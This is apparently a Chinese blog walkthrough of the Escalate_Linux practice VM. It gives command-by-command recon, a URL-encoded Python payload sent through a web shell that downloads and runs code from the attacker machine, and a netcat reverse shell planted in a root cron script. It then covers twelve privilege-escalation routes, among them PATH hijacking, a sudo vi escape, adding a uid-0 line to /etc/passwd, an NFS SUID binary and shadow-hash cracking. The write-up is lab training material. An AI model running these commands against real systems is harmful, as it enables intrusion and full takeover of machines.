【靶机渗透】Escalate_Linux靶机渗透练习+12种提权方式

注:这个靶机主要用来练习Linux提权,有超过12种的提权方法

1.主机发现:arp-scan -l,发现靶机ip为192.168.225.149,并进行访问

2.扫描端口,开启了80,22端口

nmap -n -p- -A 192.168.225.149 -o escalate.nmap

3.发现是默认的apache页面,那么爆破php后缀的路径,发现shell.php的页面,进行访问:

dirb http://192.168.225.149 -X .php

4.提示:使用cmd可以直接执行命令

确实可以:

5.使用msf进行攻击:

use exploit/multi/script/web_delivery

此模块支持在本地监听一个端口,别人一旦访问该端口就会将该端口内的文件读取至本地执行(把webshell放在该端口下刚刚好)

6.设置服务端和本地地址都为攻击机ip,运行如下:

工具提示把这段代码发给靶机执行,也就是放在cmd后面执行

7.因为服务端会进行url解码,所以先将payload进行url编码,目前来看只能使用burpsuite中的url编码:

8.将编码进行命令执行:

http://192.168.225.149/shell.php?cmd=%70%79%74%68%6f%6e%20%2d%63%20%22%69%6d%70%6f%72%74%20%73%79%73%3b%69%6d%70%6f%72%74%20%73%73%6c%3b%75%3d%5f%5f%69%6d%70%6f%72%74%5f%5f%28%27%75%72%6c%6c%69%62%27%2b%7b%32%3a%27%27%2c%33%3a%27%2e%72%65%71%75%65%73%74%27%7d%5b%73%79%73%2e%76%65%72%73%69%6f%6e%5f%69%6e%66%6f%5b%30%5d%5d%2c%66%72%6f%6d%6c%69%73%74%3d%28%27%75%72%6c%6f%70%65%6e%27%2c%29%29%3b%72%3d%75%2e%75%72%6c%6f%70%65%6e%28%27%68%74%74%70%3a%2f%2f%31%39%32%2e%31%36%38%2e%32%32%35%2e%31%33%33%3a%38%30%38%30%2f%4d%52%6a%53%77%32%54%64%38%48%47%27%2c%20%63%6f%6e%74%65%78%74%3d%73%73%6c%2e%5f%63%72%65%61%74%65%5f%75%6e%76%65%72%69%66%69%65%64%5f%63%6f%6e%74%65%78%74%28%29%29%3b%65%78%65%63%28%72%2e%72%65%61%64%28%29%29%3b%22

9.kali机上随意选择一个sessions就完成了提权:

sessions -i 3

8.开始进行shell环境

9.使用LinEnum工具枚举当前环境,该工具能把漏洞都体现出来:

wget http://192.168.225.133/LinEnum.sh

注:要进入tmp目录下继续wget,主要是因为tmp目录权限大。并且要先在kali上开启http.server的服务。

LinEnum讲解文章:https://www.freesion.com/article/5522129624/

10.先修改一下执行权限,执行枚举脚本:

chmod 777 LinEnum.sh
./LinEnum.sh |more

执行结果如下:

1)确存在8个用户,那么有可能每个用户都有提权的可能性

2)在crontab中,每5分钟使用root特权运行autoscript.sh文件

3)看到/etc/passwd对用户也是可写的

4)可以使用root特权运行shell和脚本文件,在其上启用了SUID位

1.suid提权:

1)python实现交互式shell:

python -c 'import pty;pty.spawn("/bin/bash")'

上述反馈说明:当前通过metasploit反弹的shell是在user6用户上,那么我们看看此用户是否能够提权

2)首先查找下能否执行SUID特权的命令

find / -perm -u=s -type f 2>/dev/null

看到用户user3下面有个shell命令文件,能够使用SUID

猜测此shell命令的二进制文件里面含有C语言setuid提权代码

3)进入user3目录执行./shell

2.全局环境变量提权:

1)使用user5的script脚本也可以进行提权,下面来探究一下如何进行提权操作

2)进入user5目录,执行发现和ls命令一样的结果,这是因为这个脚本是使用root权限执行ls命令,所以这里可以通过全局环境变量提权

3)全局变量提权的参考文章及命令:https://www.hackingarticles.in/linux-privilege-escalation-using-path-variable/

cd /tmp
echo "/bin/bash" > ls
chmod +x ls
echo $PATH
export PATH=/tmp:$PATH
cd /home/user5/
./script

3.计划任务crontab提权:

1.借鉴方法2,使用相同的脚本文件,借助Path变量方法更改user4用户的密码为123

cd /tmp
echo 'echo "user4:123" | chpasswd' >ls
chmod +x ls
echo $PATH
export PATH=/tmp:$PATH
cd /home/user5/
./script
su user4

2.使用msfvenom写一段反弹shell:

msfvenom -p cmd/unix/reverse_netcat lhost=192.168.225.133 lport=8888 R

3.在user4桌面文件夹中看到文件autoscript.sh,将反弹shell写入到autoscript脚本中:

echo 'mkfifo /tmp/kndq; nc 192.168.225.133 8888 0</tmp/kndq | /bin/sh >/tmp/kndq 2>&1; rm /tmp/kndq' > autoscript.sh

4.在kali终端中开启监听,等待不到5分钟,等待autoscript.sh脚本自动加载,即可反弹回shell,查看权限为root:

4.vi写入提权:

1.借鉴方法3,将所有用户的密码更改为12345,并在用户之间切换来检查更多漏洞,发现user8对vi编辑器具有sudo权限

cd /tmp
echo 'echo "user8:123" | chpasswd' >ls
chmod +x ls
echo $PATH
export PATH=/tmp:$PATH
cd /home/user5/
./script
su user8

2.使用sudo打开vi编辑器,并插入sh命令:

sudo vi
:!sh
<enter>

5.openssl提权:

1.继续根据枚举的信息,确认user7是gid为0的组成员,使用和方法3相同的办法进入user7,切换至user7,发现user7属于gid为0的组

cd /tmp
echo 'echo "user7:123" | chpasswd' >ls
chmod +x ls
echo $PATH
export PATH=/tmp:$PATH
cd /home/user5/
./script
su user7

2.从LinEnum扫描中知道/etc/passwd文件对于用户是可写的:user7可以编辑/etc/passwd文件。

所以,创建了一个具有root特权的名为ysy的新用户,并使用openssl为该用户生成了密码:

openssl passwd -1 -salt ysy 123

3.将这个密码写入到我新建的ysy用户中:

echo 'ysy:$1$ysy$FEKea8H9FLIyRztwO8UXd/:0:0:/root:/bin/bash' >> /etc/passwd

查看一下,写进了!

4.使用ysy的账号密码登录即可获得超户权限 

6.NFS挂载提权:

1.枚举脚本含有针对NFS的服务

 

2.通过枚举的信息可知NFS服务配置不当导致直接提权,具体原因如下:

cat /etc/exports

 

3.发现/home/user5 *(rw,no_root_squash),意思是可以通过用户user5生成一个可提权的可执行文件放在目标靶机执行即可提权

4.挂载nfs到本地kali,生成一个提权文件(靶机被完坏了,临时换一个ip:192.168.225.151)

showmount -e 192.168.225.151
mount -t nfs 192.168.225.151:/home/user5 /tmp/

3.将user5通过NFS共享到本地,创建一个SUID执行:

cp /bin/sh rootysy
chown root:root rootysy
chmod 4755 rootysy

4.在shell中进入user5:

cd /home/user5
./rootysy

7.mysql提权:

1.尝试使用默认密码登录mysql:

mysql -u root -p

2.查看数据库,一般思路要从user表中获取密码:

show databases;
use user;
show tables;
select * from user_info;

3.获取mysql的密码为mysql@12345,所以切换至mysql用户

4.经过查找,发现用户1-8的密码:

ls -la
chmod 600 .user_informations
cat .user_informations

5.继续信息收集,在secret.cnf中发现root账号的密码:

cd /etc/mysql
cat secret.cnf

 

8.运行超户身份提权:

1.因为上面知道各个用户的密码,看看还有哪个用户没使用其进行提权,看了下user2没有,切换过去看看

2.根据提示执行:

sudo -u user1 bash  //以超户身份运行bash
sudo su

9.uid提权:

1.切换至user4,发现root的组里面有user4和user7,意思是user4和user7可以修改/etc/passwd文件,那么提权的方式跟方法五是一样的,直接添加uid为0的用户即可提权

su user4

cat /etc/group

2.使用openssl生成自定义的密码

10.shell提权:

1.在/home/user3下,发现了script.sh文件

2.这里直接执行.script.sh是不能提权的,需要借用执行shell才能提权,因为通过strings命令查看shell的二进制文件发现里面是调用.script.sh所以套路跟方法一时候一样的,执行.script.sh脚本即可

echo "/bin/sh" >.script.sh
./shell

11.john爆破提权:

1.echo查看/etc/shadow文件,读取root的hash,并使用john中自带密码库进行爆破即可

12.user提权:

1.直接通过user1的密码查看sudo -l 的特权:

2.执行sudo -i即可提权:

  • 7
    点赞
  • 36
    收藏
    觉得还不错? 一键收藏
  • 8
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 8
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值